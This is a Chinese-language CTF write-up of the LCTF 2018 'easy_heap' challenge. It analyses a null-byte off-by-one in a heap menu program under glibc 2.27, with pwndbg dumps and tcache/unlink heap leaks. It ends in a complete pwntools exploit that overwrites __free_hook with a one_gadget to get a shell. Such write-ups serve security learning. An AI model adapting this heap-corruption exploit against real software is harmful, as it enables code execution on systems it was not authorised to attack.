LCTF2018-easypwn-详细解析

 

前言

听说一血有pwnhub注册码拿就去试着打了一下周末的这场LCTF，结果作为签到题选手(笑)连签到题的一血都拿不到可能这就是命吧，不过遇到了一题不错的pwn，就详细的记录下解题思路和技巧吧

 

easy pwn

先看下给的文件的基本信息

➜  easy_heap file easy_heap 
easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a94f7ec039023e90d619f61acca68dd0863486c4, stripped
➜  easy_heap checksec easy_heap 
[*] '/home/Ep3ius/pwn/process/easy_heap/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位程序防护基本全开，接着我们ida看下程序反编译的结果

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax

  init_0();
  chunk_menu = calloc(0xA0uLL, 1uLL);
  if ( !chunk_menu )
  {
    puts("init error!");
    exit_();
  }
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = read_input();
      if ( choice != 2 )
        break;
      delete();
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        show();
      }
      else if ( choice == 4 )
      {
        exit_();
      }
    }
    else if ( choice == 1 )
    {
      new();
    }
  }
}

我们可以看到这是一个基础的菜单型程序，这里比较在意的是程序先calloc了一个0xa0大小的堆块，我们先了解下malloc和 calloc的区别主要在于calloc在动态分配完内存后，自动初始化该内存空间为零，而malloc不初始化，里边数据是随机的垃圾数据。

void new()
{
  __int64 v0; // rbx
  __int64 idx; // [rsp+0h] [rbp-20h]
  int idxa; // [rsp+0h] [rbp-20h]
  unsigned int chunk_size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  LODWORD(idx) = 0;
  while ( idx <= 9 && *(16LL * idx + chunk_menu) )
    LODWORD(idx) = idx + 1;
  if ( idx == 10 )
  {
    puts("full!");
  }
  else
  {
    v0 = chunk_menu;
    *(v0 + 16LL * idx) = malloc(0xF8uLL);
    if ( !*(16LL * idx + chunk_menu) )
    {
      puts("malloc error!");
      exit_();
    }
    printf("size n> ", idx, v4);
    chunk_size = read_input();
    if ( chunk_size > 0xF8 )
      exit_();
    *(16LL * idxa + chunk_menu + 8) = chunk_size;
    printf("content n> ");
    read_input_content(*(16LL * idxa + chunk_menu), *(16LL * idxa + chunk_menu + 8));
  }
}

我们可以看到可以new的chunk的数量是最多时10个，并且malloc的新chunk位置都是在开头calloc的chunk后面，并且content的输入方式单独写了个函数，我们跟进去看看

void __fastcall read_input_content(_BYTE *input, int chunk_size)
{
  unsigned int i; // [rsp+14h] [rbp-Ch]

  i = 0;
  if ( chunk_size )
  {
    while ( 1 )
    {
      read(0, &input[i], 1uLL);
      if ( chunk_size - 1 < i || !input[i] || input[i] == 'n' )
        break;
      ++i;
    }
    input[i] = 0;
    input[chunk_size] = 0;    #null byte off-by-one
  }
  else
  {
    *input = 0;
  }
}

我们结合前面的SIZE_MAX = 0xF8和malloc的都是0xF8可以发现，当我们new一个size=0xF8的chunk时他会把input[0xf8]赋值为0，但这就相当于把下一个chunk的size位覆盖了一个字节，我们具体调试一下

#poc
new(0x10,'aaaa') #0
new(0x10,'aaaa') #1
free(0) 
new(0xf8,'a'*0xf8) #0

pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x558c833fa000      0x0                 0x250                Used                None              None
0x558c833fa250      0x0                 0xb0                 Used                None              None
0x558c833fa300      0x0                 0x100                Used                None              None
0x558c833fa400      0x0                 0x100                Used                None              None
pwndbg> x/8x 0x558c833fa400
0x558c833fa400:    0x0000000000000000    0x0000000000000101
0x558c833fa410:    0x0000000062626262    0x0000000000000000
0x558c833fa420:    0x0000000000000000    0x0000000000000000
0x558c833fa430:    0x0000000000000000    0x0000000000000000
# new(0xf8,'a'*0xf8)
pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x558c833fa000      0x0                 0x250                Used                None              None
0x558c833fa250      0x0                 0xb0                 Used                None              None
0x558c833fa300      0x0                 0x100                Freed 0x61616161616161610x6161616161616161
0x558c833fa400      0x6161616161616161  0x100                Used                None              None
pwndbg> x/8x 0x558c833fa400
0x558c833fa400:    0x6161616161616161    0x0000000000000100  <== null byte overwrite
0x558c833fa410:    0x0000000062626262    0x0000000000000000
0x558c833fa420:    0x0000000000000000    0x0000000000000000
0x558c833fa430:    0x0000000000000000    0x0000000000000000
pwndbg>

我们可以看到chunk1的size位确实被x00所覆盖了，也证明确实只要size=0xf8就可以overwrite一字节到下一个chunk的size位

接着我们看下delete和show函数

void delete()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch]

  printf("index n> ");
  idx = read_input();
  if ( idx > 9 || !*(16LL * idx + chunk_menu) )
    exit_();
  memset(*(16LL * idx + chunk_menu), 0, *(16LL * idx + chunk_menu + 8));
  free(*(16LL * idx + chunk_menu));
  *(16LL * idx + chunk_menu + 8) = 0;
  *(16LL * idx + chunk_menu) = 0LL;
}

void show()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch]

  printf("index n> ");
  idx = read_input();
  if ( idx > 9 || !*(16LL * idx + chunk_menu) )
    exit_();
  puts(*(16LL * idx + chunk_menu));
}

中规中矩，没有什么问题

分析完了在这里卡了很久，后来在调题目给的libc时秉持着瞎猫一般是能碰到死耗子的原则查了下libc的版本，结果还真的找到了是2.27

要考虑tcache，马上切了个环境去调试(在这之前快被各种double free报错搞死了，哭)

我们先布局好7、8、9号堆

new_tcache()
new(0x10,'aaaa') #7
new(0x10,'bbbb') #8
new(0x10,'cccc') #9
free_tcache()
free(7)
free(8)
free(9)

然后下面的操作看上去可能会很绕但想明白了就很明了了，我们先把0-6从tcache取出new好7、8、9号堆后再放回tcache后把chunk7释放这时我们再看下chunk7的状态

pwndbg> parseheap
addr                prev                size                 status              fd                bk 
0x564965142000      0x0                 0x250                Used                None              None
0x564965142250      0x0                 0xb0                 Used                None              None
0x564965142300      0x0                 0x100                Used                None              None
0x564965142400      0x0                 0x100                Used                None              None
0x564965142500      0x0                 0x100                Used                None              None
0x564965142600      0x0                 0x100                Used                None              None
0x564965142700      0x0                 0x100                Used                None              None
0x564965142800      0x0                 0x100                Used                None              None
0x564965142900      0x0                 0x100                Used                None              None
0x564965142a00      0x0                 0x100                Freed     0x7fa21366eca0    0x7fa21366eca0
0x564965142b00      0x100               0x100                Used                None              None
0x564965142c00      0x200               0x100                Used                None              None
pwndbg> x/8x 0x564965142a00
0x564965142a00:    0x0000000000000000    0x0000000000000101
0x564965142a10:    0x00007fa21366eca0    0x00007fa21366eca0
0x564965142a20:    0x0000000000000000    0x0000000000000000
0x564965142a30:    0x0000000000000000    0x0000000000000000
pwndbg>

已经把main_arena放入在chunk里了，这时我们再把tcache清空后free8再重新取回来让chunk8_size=0xf8触发null byte off-by-one覆盖chunk9的previnuse位为0，让我们看下chunk现在的情况

pwndbg> parseheap
addr                prev                size                 status              fd                bk  
0x556bf9a1e000      0x0                 0x250                Used                None              None
0x556bf9a1e250      0x0                 0xb0                 Used                None              None
0x556bf9a1e300      0x0                 0x100                Used                None              None
0x556bf9a1e400      0x0                 0x100                Used                None              None
0x556bf9a1e500      0x0                 0x100                Used                None              None
0x556bf9a1e600      0x0                 0x100                Used                None              None
0x556bf9a1e700      0x0                 0x100                Used                None              None
0x556bf9a1e800      0x0                 0x100                Used                None              None
0x556bf9a1e900      0x0                 0x100                Used                None              None
0x556bf9a1ea00      0x0                 0x100                Freed     0x7f003ff88ca0    0x7f003ff88ca0
0x556bf9a1eb00      0x100               0x100                Freed 0x746972777265766f          0x392065
0x556bf9a1ec00      0x200               0x100                Used                None              None
pwndbg> x/8x 0x556bf9a1ea00
0x556bf9a1ea00:    0x0000000000000000    0x0000000000000101
0x556bf9a1ea10:    0x00007f003ff88ca0    0x00007f003ff88ca0
0x556bf9a1ea20:    0x0000000000000000    0x0000000000000000
0x556bf9a1ea30:    0x0000000000000000    0x0000000000000000
pwndbg> x/8x 0x556bf9a1eb00
0x556bf9a1eb00:    0x0000000000000100    0x0000000000000100
0x556bf9a1eb10:    0x746972777265766f    0x0000000000392065
0x556bf9a1eb20:    0x0000000000000000    0x0000000000000000
0x556bf9a1eb30:    0x0000000000000000    0x0000000000000000
pwndbg> x/8x 0x556bf9a1ec00
0x556bf9a1ec00:    0x0000000000000200    0x0000000000000100
0x556bf9a1ec10:    0x0000000063636363    0x0000000000000000
0x556bf9a1ec20:    0x0000000000000000    0x0000000000000000
0x556bf9a1ec30:    0x0000000000000000    0x0000000000000000

这时我们可以看到chunk9的pre_size位位0x200chunk9的previnuse位也为0，就可以尝试一波unlink了，先把tcache填满，再free9后，我们再看下chunk

pwndbg> parseheap
addr                prev                size                 status              fd                bk 
0x5624364b4000      0x0                 0x250                Used                None              None
0x5624364b4250      0x0                 0xb0                 Used                None              None
0x5624364b4300      0x0                 0x100                Used                None              None
0x5624364b4400      0x0                 0x100                Used                None              None
0x5624364b4500      0x0                 0x100                Used                None              None
0x5624364b4600      0x0                 0x100                Used                None              None
0x5624364b4700      0x0                 0x100                Used                None              None
0x5624364b4800      0x0                 0x100                Used                None              None
0x5624364b4900      0x0                 0x100                Used                None              None

我们接着把tcache清空，新建chunk9和overwrite到chunk8的chunk7，再把chunk6和chunk9释放掉后，这时chunk7里存的就是heap地址了，show(7)便可以泄露heapbase

pwndbg> parseheap
addr                prev                size                 status              fd                bk 
0x55fe2fe46000      0x0                 0x250                Used                None              None
0x55fe2fe46250      0x0                 0xb0                 Used                None              None
0x55fe2fe46300      0x0                 0x100                Used                None              None
0x55fe2fe46400      0x0                 0x100                Used                None              None
0x55fe2fe46500      0x0                 0x100                Used                None              None
0x55fe2fe46600      0x0                 0x100                Used                None              None
0x55fe2fe46700      0x0                 0x100                Used                None              None
0x55fe2fe46800      0x0                 0x100                Used                None              None
0x55fe2fe46900      0x0                 0x100                Used                None              None
0x55fe2fe46a00      0x0                 0x100                Used                None              None
0x55fe2fe46b00      0x100               0x100                Used                None              None
pwndbg> x/8x 0x55fe2fe46b00
0x55fe2fe46b00:    0x0000000000000100        0x0000000000000101
0x55fe2fe46b10:    0x000055fe2fe46310 <==    0x0000000000000000
0x55fe2fe46b20:    0x0000000000000000        0x0000000000000000
0x55fe2fe46b30:    0x0000000000000000        0x0000000000000000

之后就是想办法去泄露libc地址了，这步也卡了很久，本来是想通过tcache_dup修改chunk7里的数据改成那个存着libc地址的地址，后来发现真的被自己蠢哭，最后我是把chunk_menu也就是一开始calloc的0xb0的chunk里面chunk7的指针通过tcache_dup改成存着libc地址的chunk再leak出来

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x565551ed3c00 (size : 0x20400) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x100)   tcache_entry[14]:0x565551ed3b10 --> 0x565551ed3b10 (overlap chunk with 0x565551ed3b00(freed) )
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x565551ed3000      0x0                 0x250                Used                None              None
0x565551ed3250      0x0                 0xb0                 Used                None              None
0x565551ed3300      0x0                 0x100                Used                None              None
0x565551ed3400      0x0                 0x100                Used                None              None
0x565551ed3500      0x0                 0x100                Used                None              None
0x565551ed3600      0x0                 0x100                Used                None              None
0x565551ed3700      0x0                 0x100                Used                None              None
0x565551ed3800      0x0                 0x100                Used                None              None
0x565551ed3900      0x0                 0x100                Used                None              None
0x565551ed3a00      0x0                 0x100                Used                None              None
0x565551ed3b00      0x100               0x100                Used                None              None
pwndbg>

在泄露出了libc地址后基本就是为所欲为了，重新做个tcache_dup把free_hook修改成one_gadget就直接getshell了，这里贴上exp

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = process('./easy_heap')
#n = remote('118.25.150.134',6666)
elf = ELF('./easy_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new_0():
    n.recvuntil('which command?n> ')
    n.sendline("1")
    n.recvuntil('> ')
    n.sendline('0')

def new(size,content):
    n.recvuntil('which command?n> ')
    n.sendline("1")
    n.recvuntil('size n> ')
    n.sendline(str(size))
    n.recvuntil('content n> ')
    n.sendline(content)

def free(idx):
    n.recvuntil('which command?n> ')
    n.sendline("2")
    n.recvuntil('index n> ')
    n.sendline(str(idx))

def show(idx):
    n.recvuntil('which command?n> ')
    n.sendline("3")
    n.recvuntil('index n> ')
    n.sendline(str(idx))

def new_tcache():
    for i in range(7):
        new(0x10,'aaaa')

def free_tcache():
    for i in range(0,7):
        free(i)

new_tcache()
new(0x10,'aaaa') #7
new(0x10,'bbbb') #8
new(0x10,'cccc') #9
free_tcache()

free(7)
free(8)
free(9)

new_tcache()
new(0x10,'aaaa') #7
new(0x10,'bbbb') #8
new(0x10,'cccc') #9

free_tcache()
free(7)


new_tcache()
free(8)
new(0xf8,'overwrite 9')

free_tcache()
free(9)

new_tcache()
new(0x10,'aaaa') #9
new(0x10,'bbbb') #7(8)
free(6)
free(9)
show(7)

heap_base = u64(n.recv(6)+'x00x00')
print hex(heap_base)

free(7)
new(0xf0,p64(heap_base-64)) #7
new(0xf0,'aaaa') #7_2
new(0xf0,p64(heap_base+0x700+0x8))
show(7)
libc_base = u64(n.recv(6)+'x00x00') - 0x3ebca0
print hex(libc_base)
free_hook = libc.symbols['__free_hook']+libc_base
print "free_hook",hex(free_hook)
one_gadget = libc_base + 0x4f322

free(6)
free(9)
new(0xf0,p64(free_hook))
new(0xf0,'aaaa')
new(0xf0,p64(one_gadget))


n.interactive()

 

总结

这次LCTF学到了不少，感谢丁佬没打死我还告诉我调试得出来puts出来的是里面的值里面不是指针，下次一定要好好学习跟上大哥们的解题速度